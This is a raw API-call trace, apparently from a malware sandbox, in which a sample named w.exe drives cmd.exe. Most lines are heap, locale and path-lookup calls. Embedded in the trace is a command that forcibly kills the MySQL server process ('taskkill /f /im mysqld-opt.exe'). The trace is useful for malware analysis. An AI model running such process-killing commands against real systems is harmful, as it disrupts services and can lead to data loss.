	[0042.645] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ace0640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0042.645] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0042.645] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0042.645] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0042.646] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0042.646] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0042.646] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0042.646] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0042.646] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0042.646] GetProcessHeap () returned 0x4b0000
	[0042.646] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x54) returned 0x4c5678
	[0042.646] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3ff554 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0042.646] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x3ff554, lpFilePart=0x3ff550 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3ff550*="Desktop") returned 0x25
	[0042.646] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0042.646] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3ff2d0 | out: lpFindFileData=0x3ff2d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x4c1e90
	[0042.646] FindClose (in: hFindFile=0x4c1e90 | out: hFindFile=0x4c1e90) returned 1
	[0042.646] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x3ff2d0 | out: lpFindFileData=0x3ff2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x4c1e90
	[0042.646] FindClose (in: hFindFile=0x4c1e90 | out: hFindFile=0x4c1e90) returned 1
	[0042.646] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0042.647] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x3ff2d0 | out: lpFindFileData=0x3ff2d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x4c1e90
	[0042.647] FindClose (in: hFindFile=0x4c1e90 | out: hFindFile=0x4c1e90) returned 1
	[0042.647] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0042.647] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0042.647] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0042.647] GetProcessHeap () returned 0x4b0000
	[0042.647] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4b88 | out: hHeap=0x4b0000) returned 1
	[0042.647] GetEnvironmentStringsW () returned 0x4c4098*
	[0042.647] GetProcessHeap () returned 0x4b0000
	[0042.647] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xb36) returned 0x4c5ed8
	[0042.647] FreeEnvironmentStringsW (penv=0x4c4098) returned 1
	[0042.648] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4acd5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0042.648] GetProcessHeap () returned 0x4b0000
	[0042.648] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c5678 | out: hHeap=0x4b0000) returned 1
	[0042.648] GetProcessHeap () returned 0x4b0000
	[0042.648] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x400e) returned 0x4c6a18
	[0042.648] GetProcessHeap () returned 0x4b0000
	[0042.648] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x50) returned 0x4c2d68
	[0042.648] GetProcessHeap () returned 0x4b0000
	[0042.648] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4008) returned 0x4caa30
	[0042.648] GetProcessHeap () returned 0x4b0000
	[0042.648] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4008) returned 0x4cea40
	[0042.650] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0042.650] GetProcessHeap () returned 0x4b0000
	[0042.650] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x418) returned 0x4c2dc0
	[0042.650] SetErrorMode (uMode=0x0) returned 0x8003
	[0042.650] SetErrorMode (uMode=0x1) returned 0x0
	[0042.650] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x4c2dc8, lpFilePart=0x3ff4cc | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x3ff4cc*="f") returned 0x31
	[0042.650] SetErrorMode (uMode=0x8003) returned 0x1
	[0042.650] GetProcessHeap () returned 0x4b0000
	[0042.651] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c2dc0, Size=0x92) returned 0x4c2dc0
	[0042.651] GetProcessHeap () returned 0x4b0000
	[0042.651] RtlSizeHeap (HeapHandle=0x4b0000, Flags=0x0, MemoryPointer=0x4c2dc0) returned 0x92
	[0042.651] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0042.651] GetProcessHeap () returned 0x4b0000
	[0042.651] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x72) returned 0x4d2a68
	[0042.651] GetProcessHeap () returned 0x4b0000
	[0042.651] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xd8) returned 0x4c2e60
	[0042.651] GetProcessHeap () returned 0x4b0000
	[0042.651] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c2e60, Size=0x72) returned 0x4c2e60
	[0042.651] GetProcessHeap () returned 0x4b0000
	[0042.651] RtlSizeHeap (HeapHandle=0x4b0000, Flags=0x0, MemoryPointer=0x4c2e60) returned 0x72
	[0042.651] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ace0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0042.651] GetProcessHeap () returned 0x4b0000
	[0042.651] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xe0) returned 0x4c2ee0
	[0042.655] GetProcessHeap () returned 0x4b0000
	[0042.655] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4c2ee0, Size=0x76) returned 0x4c2ee0
	[0042.655] GetProcessHeap () returned 0x4b0000
	[0042.655] RtlSizeHeap (HeapHandle=0x4b0000, Flags=0x0, MemoryPointer=0x4c2ee0) returned 0x76
	[0042.655] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0042.655] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im mysqld-opt.exe ", fInfoLevelId=0x1, lpFindFileData=0x3ff268, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3ff268) returned 0xffffffff
	[0042.655] GetLastError () returned 0x3
	[0042.655] GetProcessHeap () returned 0x4b0000
	[0042.655] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4caa30 | out: hHeap=0x4b0000) returned 1
	[0042.655] GetProcessHeap () returned 0x4b0000
	[0042.655] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4cea40 | out: hHeap=0x4b0000) returned 1
	[0042.655] GetProcessHeap () returned 0x4b0000
	[0042.655] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c6a18 | out: hHeap=0x4b0000) returned 1
	[0042.655] GetConsoleOutputCP () returned 0x1b5
	[0042.655] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4acd4260 | out: lpCPInfo=0x4acd4260) returned 1
	[0042.655] GetUserDefaultLCID () returned 0x409
	[0042.656] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4acd4950, cchData=8 | out: lpLCData=":") returned 2
	[0042.656] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x3ff694, cchData=128 | out: lpLCData="0") returned 2
	[0042.656] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x3ff694, cchData=128 | out: lpLCData="0") returned 2
	[0042.656] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x3ff694, cchData=128 | out: lpLCData="1") returned 2
	[0042.656] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4acd4940, cchData=8 | out: lpLCData="/") returned 2
	[0042.656] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4acd4d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0042.657] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4acd4d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0042.657] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4acd4d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0042.657] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4acd4cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0042.657] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4acd4c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0042.657] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4acd4c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0042.657] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4acd4c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0042.657] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4acd4930, cchData=8 | out: lpLCData=".") returned 2
	[0042.657] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4acd4920, cchData=8 | out: lpLCData=",") returned 2
	[0042.657] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0042.658] GetProcessHeap () returned 0x4b0000
	[0042.658] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x20c) returned 0x4c2f60
	[0042.658] GetConsoleTitleW (in: lpConsoleTitle=0x4c2f60, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0042.658] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0042.658] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0042.658] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0042.658] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0042.659] GetProcessHeap () returned 0x4b0000
	[0042.659] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x400a) returned 0x4c6a18
	[0042.659] GetProcessHeap () returned 0x4b0000
	[0042.659] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c6a18 | out: hHeap=0x4b0000) returned 1
	[0042.659] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0042.659] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0042.659] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0042.659] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0042.659] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0042.659] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0042.660] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0042.660] GetProcessHeap () returned 0x4b0000
	[0042.660] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x58) returned 0x4c3178
	[0042.660] GetProcessHeap () returned 0x4b0000
	[0042.660] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x1a) returned 0x4c5718
	[0042.660] GetProcessHeap () returned 0x4b0000
	[0042.660] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x38) returned 0x4c31d8
	[0042.661] GetConsoleTitleW (in: lpConsoleTitle=0x3ff38c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0042.661] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0042.661] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0042.661] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0042.661] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0042.661] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0042.661] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0042.661] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0042.661] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0042.661] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0042.661] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0042.661] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0042.661] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0042.662] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0042.662] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0042.662] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0042.662] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0042.662] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0042.662] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0042.662] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0042.662] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0042.662] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0042.662] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0042.662] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0042.662] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0042.662] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0042.662] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0042.662] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0042.662] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0042.662] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0042.662] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0042.662] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0042.662] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0042.662] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0042.662] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0042.662] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0042.662] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0042.662] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0042.662] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0042.662] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0042.662] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0042.662] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0042.662] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0042.662] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0042.662] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0042.662] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0042.662] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0042.662] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0042.663] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0042.663] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0042.663] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0042.663] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0042.663] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0042.663] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0042.663] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0042.663] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0042.663] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0042.663] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0042.663] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0042.663] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0042.663] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0042.663] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0042.663] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0042.663] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0042.663] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0042.663] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0042.663] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0042.663] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0042.663] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0042.663] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0042.663] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0042.663] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0042.663] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0042.663] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0042.663] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0042.663] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0042.663] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0042.663] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0042.663] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0042.663] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0042.663] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0042.663] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0042.663] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0042.663] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0042.664] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0042.664] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0042.664] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0042.664] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0042.664] GetProcessHeap () returned 0x4b0000
	[0042.664] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x210) returned 0x4c3218
	[0042.664] GetProcessHeap () returned 0x4b0000
	[0042.664] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x4a) returned 0x4c3430
	[0042.664] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0042.664] GetProcessHeap () returned 0x4b0000
	[0042.664] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x418) returned 0x4b07f0
	[0042.664] SetErrorMode (uMode=0x0) returned 0x8003
	[0042.664] SetErrorMode (uMode=0x1) returned 0x0
	[0042.664] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4b07f8, lpFilePart=0x3feeac | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3feeac*="Desktop") returned 0x25
	[0042.665] SetErrorMode (uMode=0x8003) returned 0x1
	[0042.665] GetProcessHeap () returned 0x4b0000
	[0042.665] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4b07f0, Size=0x66) returned 0x4b07f0
	[0042.665] GetProcessHeap () returned 0x4b0000
	[0042.665] RtlSizeHeap (HeapHandle=0x4b0000, Flags=0x0, MemoryPointer=0x4b07f0) returned 0x66
	[0042.665] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ace0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0042.665] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0042.665] GetProcessHeap () returned 0x4b0000
	[0042.665] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x120) returned 0x4c3488
	[0042.665] GetProcessHeap () returned 0x4b0000
	[0042.665] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x238) returned 0x4b0860
	[0042.667] GetProcessHeap () returned 0x4b0000
	[0042.667] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4b0860, Size=0x122) returned 0x4b0860
	[0042.667] GetProcessHeap () returned 0x4b0000
	[0042.667] RtlSizeHeap (HeapHandle=0x4b0000, Flags=0x0, MemoryPointer=0x4b0860) returned 0x122
	[0042.667] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ace0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0042.667] GetProcessHeap () returned 0x4b0000
	[0042.667] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0xe0) returned 0x4b0990
	[0042.667] GetProcessHeap () returned 0x4b0000
	[0042.667] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4b0990, Size=0x76) returned 0x4b0990
	[0042.667] GetProcessHeap () returned 0x4b0000
	[0042.667] RtlSizeHeap (HeapHandle=0x4b0000, Flags=0x0, MemoryPointer=0x4b0990) returned 0x76
	[0042.667] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0042.667] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x3fec28, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3fec28) returned 0xffffffff
	[0042.667] GetLastError () returned 0x2
	[0042.667] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x3fec28, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3fec28) returned 0xffffffff
	[0042.667] GetLastError () returned 0x2
	[0042.667] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0042.667] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x3fec28, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3fec28) returned 0x4b0a10
	[0042.668] GetProcessHeap () returned 0x4b0000
	[0042.668] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x14) returned 0x4b0a50
	[0042.668] FindClose (in: hFindFile=0x4b0a10 | out: hFindFile=0x4b0a10) returned 1
	[0042.668] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x3fec28, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3fec28) returned 0xffffffff
	[0042.668] GetLastError () returned 0x2
	[0042.668] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x3fec28, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3fec28) returned 0x4b0a10
	[0042.668] GetProcessHeap () returned 0x4b0000
	[0042.668] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x4b0a50, Size=0x4) returned 0x4b0a50
	[0042.668] FindClose (in: hFindFile=0x4b0a10 | out: hFindFile=0x4b0a10) returned 1
	[0042.668] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0042.668] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0042.668] GetConsoleTitleW (in: lpConsoleTitle=0x3ff120, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0042.668] InitializeProcThreadAttributeList (in: lpAttributeList=0x3fefa8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x3ff070 | out: lpAttributeList=0x3fefa8, lpSize=0x3ff070) returned 1
	[0042.668] UpdateProcThreadAttribute (in: lpAttributeList=0x3fefa8, dwFlags=0x0, Attribute=0x60001, lpValue=0x3ff068, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x3fefa8, lpPreviousValue=0x0) returned 1
	[0042.668] GetStartupInfoW (in: lpStartupInfo=0x3fef64 | out: lpStartupInfo=0x3fef64*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xc4, hStdOutput=0xc8, hStdError=0xac)) 
	[0042.669] GetProcessHeap () returned 0x4b0000
	[0042.669] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x8, Size=0x18) returned 0x4b0a10
	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0042.669] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
